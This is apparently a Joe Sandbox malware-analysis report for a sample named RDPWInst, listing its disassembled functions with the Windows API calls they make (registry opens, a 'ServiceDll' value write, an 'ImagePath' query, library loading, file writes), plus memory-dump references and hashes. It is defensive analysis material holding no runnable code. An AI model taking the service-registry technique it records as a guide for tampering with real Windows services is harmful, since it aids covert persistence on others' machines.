RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00439A26,?,?,00447324), ref: 00439A0B

Strings

$sD, xrefs: 004399BF, 004399C9, 004399F8, 00439A1D, 004399D7

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Open
String ID: $sD
API String ID: 71445658-3047594130
Opcode ID: f10055141223f9af242b891c647282ca0f63b0c3ab4bd570c77cf0f661a267fa
Instruction ID: 93af5e93b009f9dfb1ca8860ce5652d254f583336edc44d6a4486ea6cd266cab
Opcode Fuzzy Hash: f10055141223f9af242b891c647282ca0f63b0c3ab4bd570c77cf0f661a267fa
Instruction Fuzzy Hash: 19017571B04208AFD714EB65CC52A9EB3FCEB4C304F61457BF445E3281DA79EE149658

Function 0043987C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegSetValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,ServiceDll,?,?), ref: 004398AE

Strings

ServiceDll, xrefs: 00439884

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Value
String ID: ServiceDll
API String ID: 3702945584-3252591312
Opcode ID: 02259710c559a2b72da5c974877bfc6bd73b47a0d5aa3515892af2eb9807f5fe
Instruction ID: 396de0d2a0ab042baed8acc32e75219307ae4a3dd24f7b0442dd3090ee3af4a1
Opcode Fuzzy Hash: 02259710c559a2b72da5c974877bfc6bd73b47a0d5aa3515892af2eb9807f5fe
Instruction Fuzzy Hash: 74018671A042086FD750EBAEDC81A9FBBEC9F49324F00806AF958E7382D9799D049765

Function 00439D1C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

Part of subcall function 004399A0: RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00439A26,?,?,00447324), ref: 00439A0B

RegCloseKey.ADVAPI32(00000000,00000000,00439D81,?,00447324), ref: 00439D5F

Strings

$sD, xrefs: 00439D26, 00439D4A, 00439D50, 00439D77

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: $sD
API String ID: 47109696-3047594130
Opcode ID: e90e8eeed010ee93333ce844b1745028c2c799c62f0c90b655c7822b69ebab96
Instruction ID: e2b80e318971c5615629c962b670a86c0d36aae3c059df6a015560dc8872c8c4
Opcode Fuzzy Hash: e90e8eeed010ee93333ce844b1745028c2c799c62f0c90b655c7822b69ebab96
Instruction Fuzzy Hash: F9013171E14304EFDB05CFA9C892A5DB7F8EB4D310F6140B6E810A7351D675EE10DA54

Function 0043924C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,00000000,004392B4,?,?,ImagePath,00000000,004392B4), ref: 0043927D

Strings

ImagePath, xrefs: 0043924D

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: ImagePath
API String ID: 3660427363-1008103227
Opcode ID: adbd4c71f0fcc4d549a1fa8e18ed9452cd2da7834887e3629a62f86d07c84514
Instruction ID: 752c998736a6c6af0e84b74aa330b189edc71255cbbe141243c37e1b481e64ab
Opcode Fuzzy Hash: adbd4c71f0fcc4d549a1fa8e18ed9452cd2da7834887e3629a62f86d07c84514
Instruction Fuzzy Hash: 90F01CA23042406FD744EA6E9C81F6B96DCDBCC714F14443EB288C7282D968CC098769

Function 004389D8 Relevance: 3.1, APIs: 2, Instructions: 98registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00438AE9,?,?,00447324), ref: 00438A52
RegCreateKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00438AE9,?,?,00447324), ref: 00438A8C

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CreateOpen
String ID:
API String ID: 436179556-0
Opcode ID: 2d3289a1ee73edb82b509e2290eeebee96e579d361020ed9f990078e177ab248
Instruction ID: 0ee4ecbf886d923d9c7bbf31fd477b4cbe2ff9aaa7d825c43a2ca86d525438e5
Opcode Fuzzy Hash: 2d3289a1ee73edb82b509e2290eeebee96e579d361020ed9f990078e177ab248
Instruction Fuzzy Hash: E3315C70B04348AFDB11EBA98842B9EF7F9AB48304F50447EB544E7282DA78AF059759

Function 0040920C Relevance: 3.1, APIs: 2, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,004092C6,?,?,00000000), ref: 00409248

Part of subcall function 0040941C: lstrcpynW.KERNEL32(?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 00409497
Part of subcall function 0040941C: lstrlenW.KERNEL32(?,?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 004094A3

LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,004092C6,?,?,00000000), ref: 00409299

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileLibraryLoadModuleNamelstrcpynlstrlen
String ID:
API String ID: 2912033995-0
Opcode ID: 9b7ea9474c48fe3723e18e581a13ee0b38d21dda16a14f09b9e502bcf11d0e48
Instruction ID: f6262d892358e01f8eacd9344567111696420312dcbdab07fa653b046a231d07
Opcode Fuzzy Hash: 9b7ea9474c48fe3723e18e581a13ee0b38d21dda16a14f09b9e502bcf11d0e48
Instruction Fuzzy Hash: 43114270A4421CABDB10EB51CD86BDD73B8DB04304F5144FBB509B72D1DA785E858A59

Function 0040F77C Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,?,00447324,0043D527,00000000,0043D55E,?,00447324,0000000B,00000000,00000000,?,00443BAB,00000000,00443FB2), ref: 0040F788
GetLastError.KERNEL32(00000000,?,00447324,0043D527,00000000,0043D55E,?,00447324,0000000B,00000000,00000000,?,00443BAB,00000000,00443FB2), ref: 0040F79A

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: 27c98d3271cba15b76fb2ca257aef7b31123f3b10a7598d13b1c4fe8a3ea3e49
Instruction ID: 8407d2a862a87125c88b0e9e376b57c3f61afd3adb54f06dd13a213247f2bd06
Opcode Fuzzy Hash: 27c98d3271cba15b76fb2ca257aef7b31123f3b10a7598d13b1c4fe8a3ea3e49
Instruction Fuzzy Hash: 5CE04F1732122016DD3530BC19CA6AB1244498B7A83280937FC51F3BD2D23E4D5B519F

Function 004046C0 Relevance: 3.0, APIs: 2, Instructions: 29fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004046DF
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 004046E8

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 1c195610d2d2e68796caa6713af8b8095328086dc3c63ffe84f07c697ca82352
Instruction ID: 9545df1e08670e3e4372b9a2ed629c94f39af83de60d034ef920510406bc5815
Opcode Fuzzy Hash: 1c195610d2d2e68796caa6713af8b8095328086dc3c63ffe84f07c697ca82352
Instruction Fuzzy Hash: D1E092B16041106BDB54CE6A9980A6723CC9B89354F008877BA04EB282E2B9CC015776

Function 00414634 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

InterlockedCompareExchange.KERNEL32(00449DB0,00000001,00000000), ref: 00414644
CloseHandle.KERNEL32(00000000,00449DB0,00000001,00000000,?,00449EB4,00414694,00449EB4,00000000,?,0041770A,00000000,00417872), ref: 00414651

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseCompareExchangeHandleInterlocked
String ID:
API String ID: 190309047-0
Opcode ID: 542c7fe3d3f03a500ed8d8709c7a3033507625bc89f5adea9d21179b445396bb
Instruction ID: 63ce862fb254c7bb27cf93041dcda8475e179d55c14a8c261316d7a773b2a43f
Opcode Fuzzy Hash: 542c7fe3d3f03a500ed8d8709c7a3033507625bc89f5adea9d21179b445396bb
Instruction Fuzzy Hash: 3FD0A7F275172033DA2021A94DC1FAB014C8B9975CF015563BE44EF283D59CCC9102FC

Function 00438860 Relevance: 3.0, APIs: 2, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegFlushKey.ADVAPI32(00010000,004375FC,004388B7,004375FC,00000001,004387C6,?,00447324,0043A802,00000000,0043AA55,?,?,00447324,00000000,00000000), ref: 00438871
RegCloseKey.ADVAPI32(00010000,004375FC,004388B7,004375FC,00000001,004387C6,?,00447324,0043A802,00000000,0043AA55,?,?,00447324,00000000,00000000), ref: 0043887A

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseFlush
String ID:
API String ID: 320916635-0
Opcode ID: 610934545e47d1af713ada86b5371c3a5aace2d80b4164f12a0993911e23d539
Instruction ID: 02ceb0405e4d458188627afd9845f8495605ad087acfb065aa2a027a14818eba
Opcode Fuzzy Hash: 610934545e47d1af713ada86b5371c3a5aace2d80b4164f12a0993911e23d539
Instruction Fuzzy Hash: 8DE0ECA1B003008ADF64FF7684C4A12B6D86F48304B48D4BAB808DE14BDA3CD4109725

Function 00438B08 Relevance: 1.6, APIs: 1, Instructions: 79registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00438CCF,?,?,?,00000000), ref: 00438B85

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a46219772db8ce53a9de16e33fdee055c61f0647121e37f1090d2be0f08d93d7
Instruction ID: 89278caf5ef83198d89b8dc4a9c9fb76eb3a10e2e46a05883e0df08903897f1a
Opcode Fuzzy Hash: a46219772db8ce53a9de16e33fdee055c61f0647121e37f1090d2be0f08d93d7
Instruction Fuzzy Hash: C921D370B04344AFDB11EB65C842B9EF7F99B48304F2144BEB804E3282DA7C9E059758

Function 004083B0 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,0000020A), ref: 004083CE

Part of subcall function 0040920C: GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,004092C6,?,?,00000000), ref: 00409248
Part of subcall function 0040920C: LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,004092C6,?,?,00000000), ref: 00409299

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileModuleName$LibraryLoad
String ID:
API String ID: 4113206344-0
Opcode ID: cbb02fdfb2fa808f830c388f18c69e1a99260115120f30c524f5d5f327a3d354
Instruction ID: 90d1829834ce79f86c13b7573f8e9a8c333b05ddd33e28dd31ebb7d28ab9999b
Opcode Fuzzy Hash: cbb02fdfb2fa808f830c388f18c69e1a99260115120f30c524f5d5f327a3d354
Instruction Fuzzy Hash: 84E0C9B1A003109BCB10DE58C9C5A477798AB48764F044AAAED64EF387D775DD1087D5

Function 0040F650 Relevance: 1.5, APIs: 1, Instructions: 26fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,C0000000,?,00000000,00000002,00000080,00000000,?,?,004257A8,0042F5F0,00000000,0042F6D7,?,?,004257A8), ref: 0040F68A

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 09450458b8d81176c6a50bac5932f2701a5404c96287c680bb229262f5fe89b5
Instruction ID: 32e31081b98e7b24079041a639207f5f8240b3ca2c27c4b0157ee02f81a1b514
Opcode Fuzzy Hash: 09450458b8d81176c6a50bac5932f2701a5404c96287c680bb229262f5fe89b5
Instruction Fuzzy Hash: 99E0C2A3B4072036F63072AD4C82FAB9158CB867B4F470336FA50FB2D2C0999C0241AC

Function 0040F6C0 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0040F6D4

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 8e9fea90e53bca7412c33d02f8e097722a35645c54a93293cf713adbfc77c375
Instruction ID: 3fe4e569543b3f1381ab86603454923b4de8c4718f21568c98d02def12c07fd2
Opcode Fuzzy Hash: 8e9fea90e53bca7412c33d02f8e097722a35645c54a93293cf713adbfc77c375
Instruction Fuzzy Hash: 42D05BB63082507AD220D55B5C44DAB6BDCDBC5771F10063FB658C31C0D6308C05C275

Function 0043A644 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32 ref: 0043A648

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: f537996a7b7980d49ed43dd1d2441830a107cc63a0e7000c4f47f7a03b218ad6
Instruction ID: fbf5644ea725b9a19c2d11835783dba3dfebd9b236010a27cc61b97838af9c82
Opcode Fuzzy Hash: f537996a7b7980d49ed43dd1d2441830a107cc63a0e7000c4f47f7a03b218ad6
Instruction Fuzzy Hash: 66E086584BC14148C60523354C2F7A32688832A324F4D2923C4D985262E25FC0B77BAF

Function 0040F7C4 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,00447324,0043D137,00000000,0043D55E,?,00447324,0000000B,00000000,00000000,?,00443BAB,00000000,00443FB2), ref: 0040F7CF

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b551f2b18252a583477f9e8ccff1f7da88027c1fc4d2758f3b89c6edbf41f201
Instruction ID: dfbd20c989cc919aa742ea809a195094cafabb968b5a4f056a7cb7a67f60922a
Opcode Fuzzy Hash: b551f2b18252a583477f9e8ccff1f7da88027c1fc4d2758f3b89c6edbf41f201
Instruction Fuzzy Hash: F3C08CA03012000AEE30B1BD1DCA80B02884A0D2383A02A37F069F3AD3D23E886F201A

Function 0040FB5C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,00000001,0040F8C6,00000000,0040F8EB,?,00447324,00000000,00000000,00000000,00000000,?,0043D15F,00000000,0043D55E), ref: 0040FB69

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
